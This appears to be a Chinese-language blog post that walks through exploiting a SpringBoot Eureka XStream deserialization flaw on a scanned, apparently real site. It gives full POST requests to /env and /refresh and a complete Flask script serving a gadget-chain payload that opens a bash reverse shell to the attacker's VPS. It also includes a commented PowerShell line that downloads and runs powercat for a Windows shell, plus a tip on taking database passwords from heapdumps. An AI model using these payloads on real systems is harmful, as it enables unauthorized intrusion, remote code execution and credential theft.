banner
lca

lca

真正的不自由,是在自己的心中设下牢笼。

記一次SpringBoot eureka滲透之旅

SpringBoot eureka XStream 反序列化命令執行漏洞#

0x01 前言#

最近發現,好多網站都是通過 springboot 搭建的,基本上在進行目錄掃描或者指紋掃描的時候都能發現,springboot 如果配置不當,就會產生相應的漏洞。

springboot 的相關資料可以參考:GitHub - LandGrey/SpringBootVulExploit: SpringBoot 相關漏洞學習資料,利用方法和技巧合集,黑盒安全評估 check list,詳細講述了 springboot 的技巧和利用方法。

這次發現的是 springboot eureka 的遠程命令執行漏洞,具體流程:信息洩漏 - DNSLOG 測試 - RCE。

0x02 漏洞利用#

通過信息收集發現目標開放了 9099 端口,訪問後,是一個 springboot eureka 站點,界面如下:

image

既然是 springboot eureka,那麼他就又可能有 deserialization RCE 漏洞,但利用這個漏洞有很多的前提。

漏洞利用條件:

  • 可以 post 請求到目標的 /env 接口設置屬性
  • 可以 post 請求到目標的 /refresh 接口刷新配置
  • 目標使用的eureka-client的版本小於 1.8.7
  • 目標可以 http 出網

1、/env 接口可以直接訪問,通過這個可以判斷 springboot 的版本是 1.x 的,如果是 2.x 的版本則需要 /actuator/env 才能訪問到下面的頁面。

image

image

2、通過 dnslog 請求,可以測試 /env、/refresh 和 http 是否出網。

先設置 eureka.client.serviceUrl.defaultZone 屬性。

POST /env HTTP/1.1
Host: xxx.com:9099
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.99 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 67

eureka.client.serviceUrl.defaultZone=http://<dnslog的地址>

3、通過訪問 /configgprops 可以看到設置的 eureka.client.serviceUrl.defaultZone 屬性。

image

4、發送刷新 /refresh 配置的 POST 包。

POST /refresh TTP/1.1
Host: xxx.com:9099
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.99 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

5、執行完後,就可以靜待 dnslog 是否收到請求了,我在測試的時候,收到請求的時間有點慢,大家需要耐心等待,如果收到了請求,那就說明收米了。

image

6、證明了存在漏洞之後,就可以開始反彈 shell 了。

提供一個依賴 Flask 並符合要求的 python 腳本,利用 bash 來反彈 shell,修改腳本的 ip 和端口,ip 設置成 vps 的 ip,監聽端口設置成 nc 監聽的端口,最後在 vps 上運行這個 python 腳本。

# -*- coding: utf-8 -*-
# @Time    : 2019/3/12 10:06
# @Author  : j1anFen
# @Site    :
# @File    : run.py

# linux反彈shell bash -i >&amp; /dev/tcp/192.168.20.82/9999 0>&amp;1
# windows反彈shell
# <string>powershell</string>
# <string>IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1');</string>
# <string>powercat -c 192.168.123.1 -p 2333 -e cmd</string>

from flask import Flask, Response

app = Flask(__name__)

@app.route('/', defaults={'path': ''})
@app.route('/<path:path>', methods = ['GET', 'POST'])
def catch_all(path):
    xml = """<linked-hash-set>
  <jdk.nashorn.internal.objects.NativeString>
    <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
      <dataHandler>
        <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
          <is class="javax.crypto.CipherInputStream">
            <cipher class="javax.crypto.NullCipher">
              <serviceIterator class="javax.imageio.spi.FilterIterator">
                <iter class="javax.imageio.spi.FilterIterator">
                  <iter class="java.util.Collections$EmptyIterator"/>
                  <next class="java.lang.ProcessBuilder">
                    <command>
                                <string>/bin/bash</string>
                      <string>-c</string>
                      <string>bash -i >&amp; /dev/tcp/<vps的ip地址>/8446 0>&amp;1</string>
                    </command>
                    <redirectErrorStream>false</redirectErrorStream>
                  </next>
                </iter>
                <filter class="javax.imageio.ImageIO$ContainsFilter">
                  <method>
                    <class>java.lang.ProcessBuilder</class>
                    <name>start</name>
                    <parameter-types/>
                  </method>
                  <name>foo</name>
                </filter>
                <next class="string">foo</next>
              </serviceIterator>
              <lock/>
            </cipher>
            <input class="java.lang.ProcessBuilder$NullInputStream"/>
            <ibuffer></ibuffer>
          </is>
        </dataSource>
      </dataHandler>
    </value>
  </jdk.nashorn.internal.objects.NativeString>
</linked-hash-set>"""
    return Response(xml, mimetype='application/xml')
if __name__ == "__main__":
    app.run(host='0.0.0.0', port=8088)

先運行上述腳本,腳本運行一個 web 站點。

image

可以瀏覽器訪問查看

image

然後 vps 上開啟 nc 監聽。

image

前置工作完成後,開始走一遍之前 dnslog 的驗證流程就行,先 post /env 接口設置屬性,然後 /refresh 屬性配置。

image

image

image

0x03 總結#

  • 整套流程下來,其實並不複雜,就是在 dnslog 驗證處這裡需要點耐心。
  • 對於 springboot 的測試還有其他的東西,像這個站點還有 heapdump 下載,可以從中找到數據庫密碼。

0x04 其他#

GitHub - AabyssZG/SpringBoot-Scan: 針對 SpringBoot 的開源滲透框架,以及 Spring 相關高危漏洞利用工具

載入中......
此文章數據所有權由區塊鏈加密技術和智能合約保障僅歸創作者所有。